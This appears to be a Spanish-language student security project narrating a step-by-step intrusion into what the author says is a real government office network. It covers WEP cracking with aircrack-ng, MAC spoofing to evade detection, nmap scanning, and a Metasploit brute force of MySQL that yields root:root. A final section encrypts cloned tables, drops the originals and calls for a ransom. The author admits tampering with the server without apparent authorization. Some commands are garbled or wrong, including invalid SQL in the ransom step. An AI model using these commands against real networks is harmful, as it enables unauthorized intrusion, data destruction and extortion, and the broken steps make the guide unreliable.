Vous êtes sur la page 1sur 9

Seguridad de la Informacin

Investigacin Uso de herramientas sploit para


vulnerar una BD

En la actualidad todas o la mayora de las organizaciones estn compartiendo informacin en


la nube desde una infraestructura local. Sistemas de cobro, tickets, reportes y tableros de
control interno.

Usualmente en una organizacin hacen uso de su red local para compartir recursos en su red
corporativa.

En las organizaciones es comn ver topologas mal implementadas debido a que por cuestiones
financieras no quieren hacer inversin para mejorar su infraestructura y seguridad.

El ejemplo anterior fue encontrado en unas oficinas gubernamentales con ms de 200 usuarios
segn su tabulador.

La red local esta conformada por un par de switches que comparten recursos de red como
carpetas compartidas, impresoras, internet, etc.

El objetivo de un atacante es primeramente infiltrarse a la red en este caso ser a travs de la


red inalmbrica.

Acceso a la red inalmbrica

!
!
Primeramente desde Kali abriremos una terminal y escribir el comando:
!
airmon-ng
!
Esto para saber el nombre de nuestra interfaz inalmbrica
!

Despus es necesario poner el modo monitor la interfaz inalmbrica, esto para que quede a la
escucha de todas las conexiones en el aire.

!
airmon-ng start Nombre de la interfaz
!
airmon-ng start wlan1
!

Despus de esto, en la terminal debemos encontrar un mensaje como el siguiente Monitor


mode enabled on mono lo cual indica que ha creado una nueva instancia de nuestra interfaz
inalmbrica que estada a la escucha.

Para comprobar lo anterior debemos nuevamente ejecutar airmon-ng y nos debern aparecer
dos interfaces de red inalmbrica.

wlan1
mon0

!
Esto es por lo que se explico hace un par de segundos.
!

En estos momentos debemos recordar que un hacker audaz debe pasar desapercibido as que
lo que haremos es cambiar la mac adores de nuestra interfaz inalmbrica en modo monitor con
los siguientes comandos.

primeramente para saber cual es la mac address original de nuestra interfaz debemos ingresar
el siguiente comando:
iwconfig mon0

despus deberemos quitarla o apagar esa interfaz desde la terminal con el siguiente comando:
ifconfig mon0 down

Ahora al estar apagada podremos cambiarle la mac addres por otra que no sea la nuestra,
con el siguiente comando generaremos una mac address aleatoria

!
macchanger -r mon0
!
O si lo preferimos podemos agregarle la macc adrress de nuestra preferencia:
!
macchanger -m aa:bb:cc:dd:ee:ff mon0
!

Recuerda que podras agregar la mac address de algn dispositivo router, modem, impresora,
mvil, etc, la imaginacin es ilimitada.

Creo que una medida de seguridad para nosotros los hackers es cambiar tambien la mac
adores de la tarjeta inalmbrica wlan1 Ahora si.

Tras habilitar nuestra interfaz en modo monitor podemos comenzar a escanear las redes
inalmbricas disponibles, esto se hace con el siguiente comando:

!
airodump-ng interfaz en modo monitor
!
airodump-np mon0
!

Nos aparecera en la terminal una tabla con los siguientes datos:


BSSID: mac addres del dispositivo transmisor
PWR:
Beacons
#Data: cantidad de paquetes transmitidos
CH: canal de transmision
MB: megas de transmisin
ENC: modo de encriptacin
CIPHER: tipo de cifrado
AUTH: tipo de autenticacin
ESSID: nombre de la red difundida

!
Nosotros para este ejercicio debemos ponder atencin a los siguientes datos:
!
BSSID
#Data
CH

!
Debido a que son los que usaremos para poder decifrar la contrasea del Access Point vctima.
!

Ahora comenzaremos el ataque formalmente, en otra terminal debemos usar nuevamente el


comando airodump para crear un archivo donde nos guardara todos los paquetes transmitidos
entre nosotros y la vctima y as despus nosotros usar ese archivo y decifrar la clave.

!
El comando a utilizar es:
!

airodump-ng -w Nombre del archivo -c Canal de transmisin de la vctima bssid Mac


Address de la vctima Nombre interfaz en modo monitor

!
airodump-ng -w CapturasRedes -c 11 bssid 24:a4:3c:a6:fb:c2 mon0
!
a continuacin en la terminal aparecera una tabla con las siguientes datos:
!
BSSID: mac address de la victima
PWR: Poder de transmisin
RXQ:
BEacons:
#Data: Datos capturados
#/S
CH: Canal de transmisin
MB: MB de txn
Enc: Tipo de encriptacin

CIPHER: tipo de cifrado


Auth: tipo de autenticacin
ESSID: Nombre de difusion de la red

En este momento lo que mas nos debe de interesar es el total de paquetes capturados, los
cuales podremos ver en la variable #Data, por lo menos debemos llegar a los 30000 Datos.

Para ayudar a nuestra interfaz en modo monitor a capturar mas datos vamos a hacer lo
siguiente:

!
En otra terminal vamos a intentar autenticarnos de una manera falsa en la vctima:
!
aireplay-ng -1 0 -a direccin mac de la vctima Nombre de la interfaz en modo monitor
!
aireplay-ng -1 0 -a 24:a4:3c:a6:fb:c2 mon0
!

En dado caso no se pueda determinar el canal de nuestra tarjeta agregamos la siguiente


opcin al comando ignore-negative-one

!
aireplay-ng -1 0 -a 24:a4:3c:a6:fb:c2 mon0 ignore-negative-one
!
!

Si todo sale bien, nos habremos autenticado de una manera falsa a la vctima. Si no sali bien
no se podr avanzar al siguiente paso.

!
Ahora nos corresponde usare el siguiente comando
!
aireplay-ng -3 -b Mac Address de la victima interfaz modo monitor
!
aireplay-ng -3 -b 24:a4:3c:a6:fb:c2 mon0
!

En dado caso no se pueda determinar el canal de nuestra tarjeta agregamos la siguiente


opcin al comando ignore-negative-one
aireplay-ng -3 -b 24:a4:3c:a6:fb:c2 mon0 ignore-negative-one

A continuacin en la terminal deberemos ver el envi y recepcin de paquetes a la vctima, esto


nos servira debido a que en una terminal dejamos corriendo el comando aireplay-ng para
almacenar los datos, recordemos que necesitamos al menso #30000

!
Ahora desde la terminal debemos ejecutar el comando airecrack
!
aircrack-ng Nombre del archivo.cap
!
aircrack-ng Redes-01.cap
!

Este comando abrira el archivo y de acuerdo a la cantidad de paquetes atrapados


desencriptara la clave de la vctima. Si todo sale bien debera aparecernos el mensaje Key
Found! Decrypted correctly.

!
!

Nos logeamos a la red local y desde adentro tendremos oportunidad de ver todos los recursos
compartidos.

Recursos de Red

Con el comando ifconfig en la terminal podremos ver que direccin ip nos ha asignado y con
eso podremos comenzar a profundizar nuestro conocimiento de la red.

Haremos uso de la herramienta NMAP para ver primero cuantos equipos existen en el
segmento de red en el que estamos.

Barrido de PING es una tcnica que se utiliza habitualmente para conocer los equipo sen un
segmento de red, haciendo uso del protocolo ARP.

!
!
En la terminal agregaremos el siguiente comando:
!
nmap -n -sP 192.168.10.1-254
!

Este comando nos devolver en la consola la lista de los equipos que estn conectados a la
red. En nuestro caso despus de ver el resultado en consola debemos verificar con un ataque
ms profundo con nuestra herramienta, pero ahora de manera visual.

!
ZENMAP es una interfaz visual para el uso de NMAP.
!

Abriremos una ventana de ZENMAP y ejecutaremos un escaneo profundo y agresivo, debemos


observar en la caja de texto del comando que diga lo siguiente.

!
nmap -T4 -A -v 192.168.10.1-254
!

En la ventana de ZENMAP debe regresarnos informacin curada por as decirlo del escaneo
hecho por nmap.

En este caso nos debe regresar una lista de informacin especifica de las posibles vctimas de
nuestra red local.

!
En mi caso puedo ver la siguiente informacin de un posible servidor:
!
Discovered open port 3128/TCP on 192.168.10.254
!

Si recordamos que al momento de abrir nuestra terminal y ejecutar el comando ifconfig la


direccin ip 192.168.10.254 es nuestra puerta de enlace y con ZENMAP al ver que tiene
abierto el puerto 3128 quiere decir que ese equipo es un servidor proxy (Servidor
intermediario para salir a internet). Por que digo esto? el puerto 3128 es usualmente el puerto
por default para la configuracin de un Servidor Squid para ms informacin tenemos que ir a
la siguiente url www.squid-cache.org/ pero como este escrito no pretende ensear sobre
servidores intermediarios, sigamos con nuestra informacin de vulnerabilidad de nuestra red.

Seguramente que en la topologa que arriba se represento el Servidor Proxy tiene el privilegio
que todo el trafico de la red pase por una de sus interfaces de red. Esto me da ideas de como
poder robar informacin de los usuarios. Facilmente podemos ejecutar un ataque Man in The
Middle de muchas formas. Por el momento veremos que ms podemos ver en este servidor.

Haremos uso nuevamente de nuestra herramienta ZENMAP pero ahora haremos un scaneo de
puertos directamente al servidor intermediario. El comando que debe aparecer en la caja de
texto es el siguiente:

PORT STATE SERVICE VERSION


3306/tcp open mysql mysql 5.0.51a -3ubuntu5

Solo he puesto el puerto interesante para mi, pero el comando debi regresar una tabla
remarcando los puertos abierto con la fuente color verde, con esto podemos ver muchas ms
cosas por donde podemos infiltrarnos.

Como tambien encontre el puerto 80 abierto en el servidor esto me da ms informacin acerca


de nuestra vctima.

Es un servidor proxy por donde pasan todas las peticiones de red para salir a internet, pero no
solo eso, este servidor tambien funge como servidor web, y no solo eso tiene montado otros
servicios como ftp, entre otros ms. Pobre Server!

!
Atacando a la Vctima
!

Ahora como nuestro objetivo es secuestrar una BD debemos pensar en la forma correcta de
ingresar al servidor.

!
Cmo ingresar al servidor?
!

-Podemos hacer un ataque de fuerza bruta con un diccionario.


-Podemos hacer un MITM y cuando alguien quiera hacer login mediante ssh para la
administracin podremos capturar la clave.
-Buscar un sploit para poder ingresar.

Una decisin difcil de tomar as como el tiempo de ejecutar cada una de ellas es complicado
ya que necesitamos tiempo para cada una de ellas.

!
!

En esta ocasin he decidido usar MetaSploit Framework solo por curiosidad y reto. As que
ahora pongamos manos a la obra.

Primeramente debemos tener la mente abierta a cualquier posibilidad, es posible que nuestro
ataque no funcione o tarde mucho, la ventaja es que ya estamos dentro de la red y podemos
hacer miles de cosas para quedarnos dentro de la red (Logicamente), es decir, si tenemos que
irnos podemos seguir con el ataque desde nuestra propia casa, esto lo podemos hacer usando
un Troyano que nos mande la informacin a una IP donde recibamos toda la informacin
requerida para seguir con el ataque. Por el momento aprovecharemos que estamos dentro de
la red.

ZENMAP nos devolvio la versin de MySQL, MySQL es gestor de Bases de Datos muy popular
hecho por Sun, empresa adquirida por Oracle hace aos. Es una de las ms usadas en
aplicaciones web. Por ser tan popular es propensa a tener muchos sploits que exploten alguna
vulnerabilidad de cada versin.

MetaSploit Framework es una herramienta para usar sploits, los sploits son comandos que se
ejecutan dentro de una pieza de software para aprovechar alguna vulnerabilidad de otro
software y MetaSploit Framework es una herramienta que brinda informacin sobre
vulnerabilidades de software y en la cual podemos ejecutar y desarrollar scripts para
aprovechar ciertas fallas en un software.

Buscando en internet encontre informacin sobre el uso de MetaSploit Framework para MySQL
y voy a mostrar los comandos utiles para este ejercicio.

Primeramente debemos abrir una ventana de MetaSploit Framework y nos debe mostrar en la
consola msf> estando ah debemos escribir el siguiente comando:

!
use auxiliary/scanner/mysql/mysql_version
!

Con este comando le estamos diciendo al Framework que usaremos la herramienta de scanner
para mysql y su herramienta para buscar la versin de alguna vctima.

Al ejecutar el comando nos debe cambiar la interfaz del prompt resaltando que estamos con la
herramienta de scaneo de versin de MySQL. Si quisiramos saber que opciones tiene esta
herramienta solo debemos escribir: info

Con esto vemos que podemos decirle a la herramienta que scanee un host remoto, con el
siguiente comando:

!
set RHOSTS 192.168.10.254
!

Recuerdas que la IP de la vctima es el servidor proxy que analizamos con un barrido de ping
hace un momento? Es momento de hacer uso de metasploit para ms cosas.

Despus de asignarle a MetaSploit el host vctima comenzaremos ejecutar el scanner con el


comando run

!
El comando anterior nos devolvera informacin del host como:
!
192.168.10.254:3306 is running MySQL 5.0.51a -3ubuntu5
!

Para no perder mucho tiempo y viendo que las configuraciones del servidor son las que vienen
por default. NOTA* Es muy importante que como administradores de sistemas dejemos algunas
configuraciones por default pero por cuestiones de seguridad debemos hacer cambios en
algunas configuraciones como por ejemplo el puerto de ejecucin de una aplicacin, esto no
quiere decir que vas a evitar ataques pero el tiempo en encontrar informacin de alguna
vulnerabilidad ser ms largo y si tenemos infraestructura de seguridad nos dar tiempo para
encontrar al hacker. Siguiendo con las configuraciones por default una de las primeras pruebas
que se me ocurren es hacer un ataque de fuerza bruta con un diccionario de claves y un
diccionario de usuarios, este ultimo, debe comenzar con el usuario root que es el default que
se configura en un gesto de BD. Dicho lo anterior, busquemos un diccionario de claves.

Es infinita la lista de sitios que te regalan diccionarios de claves desde las ms fciles hasta con
caracteres especiales. En el siguiente sitio encontr el diccionario que me funciono para esta
prueba. www.skullsecurity.org

En mi caso los diccionarios creados son de la siguiente manera.

usuarios.txt
passwords.txt

En MetaSploit Framework vamos a usarlos de la siguiente manera, abrimos otra consola de


metasploit y ahora usaremos un modulo que se llama MySQL_login as que escribimos en la
consola lo siguiente:

!
use auxiliary/scanner/mysql/mysql_login
!

El prompt resaltara el modulo usado. Ahora debemos indicar la ip de la vctima con el


comando RHOSTS

!
set RHOSTS 192.168.10.254
!
Ahora debemos especificar que usaremos un archivo de claves y otro de usuarios:
!
set USER_FILE /root/Desktop/Diccionarios/usuarios.txt
set USER_FILE /root/Desktop/Diccionarios/passwords.txt

Recuerda que se debe indicar la ruta completa del archivo. Entonces lo unico que falta es
ejecutar el sploit con el comando run.

La sorpresa que yo me tome con este ejemplo es que la contrasea del gestor de BD es la
misma que el usuario root. El comando anterior me arrojo una tabla con el siguiente mensaje:

[+] 192.168.10.254:3306 - SUCCESFUL LOGIN guest :


[+] 192.168.10.254:3306 - SUCCESFUL LOGIN root : root
Con esto podemos comenzar a hacer muchas cosas, primero me doy cuenta que la persona
que configuro este servidor no tuvo mucho tiempo para configurarlo o de plano cometi
muchos errores. Kali cuenta con su propio cliente de MySQL as que lo que voy hacer es
intentar conectarme.

!
mysql -h 192.168.10.254 -u root -p root
!

Con esto en la terminal ya tengo acceso a todas las bases de datos, en mi caso con el comando
show databases veo todas, si, todas las bases de datos y como usuario root tengo todos los
privilegios.

!
Encriptando la BD
!

Cuando quise secuestrar una base de datos, recorde el caso de unos hackers australianos que
dieron un claro ejemplo de que debemos siempre como administradores de sistemas respaldar
diariamente la informacin de una base de datos en diferentes lugares por si alguna persona
llega con negras intenciones. En este caso solo mostrare el mtodo que yo utilice para un
posible secuestro.

Lo primero que se me ocurri hacer para secuestrar nuestras bases de datos es cambiar el
usuario y contrasea del usuario root y deshabitar el usuarios guest con esto ya no
tendran acceso a la BD.

Despus recorde las clases de mi maestro de BD donde nos comento que MySQL tiene
integrado comandos de cifrado para los datos almacenados, esto es muy comn cuando
quieres encriptar algo desde la BD como contraseas de usuarios. Toda la informacin esta
aqu http://dev.mysql.com/doc/refman/5.0/es/encryption-functions.html.

Yo creo que es hora de probar los comandos, por que necesito ir a casa ya que me tramite en
esta dependencia termino.

Primero para no vernos tan malvados vamos a clonar su BD y encriptar las tablas clonadas.
Dentro de la consola de MySQL voy a ejecutar el siguiente comando:

!
CREATE TABLE tabla_clonada LIKE tabla_original;
!

Nos creara una tabla igual que la original pero vaca, ahora vamos a insertar los datos pero
encriptados:

INSERT INTO tabla_clonada SELECT * FROM AES_ENCRYPT(clave_de_encriptacion,


tabla_original);

!
Ahora solo debemos eliminar la tabla original con el siguiente comando:
!
DROP TABLE tabla_original;
!
Y ahora solo queda hacer la llamada pidiendo un rescate.
!

En mi caso solo cambie el usuario de clave por un momento, retrase el tramite que fui a hacer a
la dependencia as que decid mejor regresar todo como estaba. Cabe mencionar que el
SysAdmin creo que no estaba o no se dio cuenta que estaban haciendo un barrido de ping y
muchos intentos de login a su servidor.

!
!
!

Este trabajo fue hecho sin afectar a nadie, quizs ms de 10 minutos, pero todo quedo como
originalmente se contaba.

!
!

Desarrollado por: Galileo Guzmn


Materia: Seguridad de la Informacin
Proyecto: Uso de herramientas sploit para vulnerar una BD

Vous aimerez peut-être aussi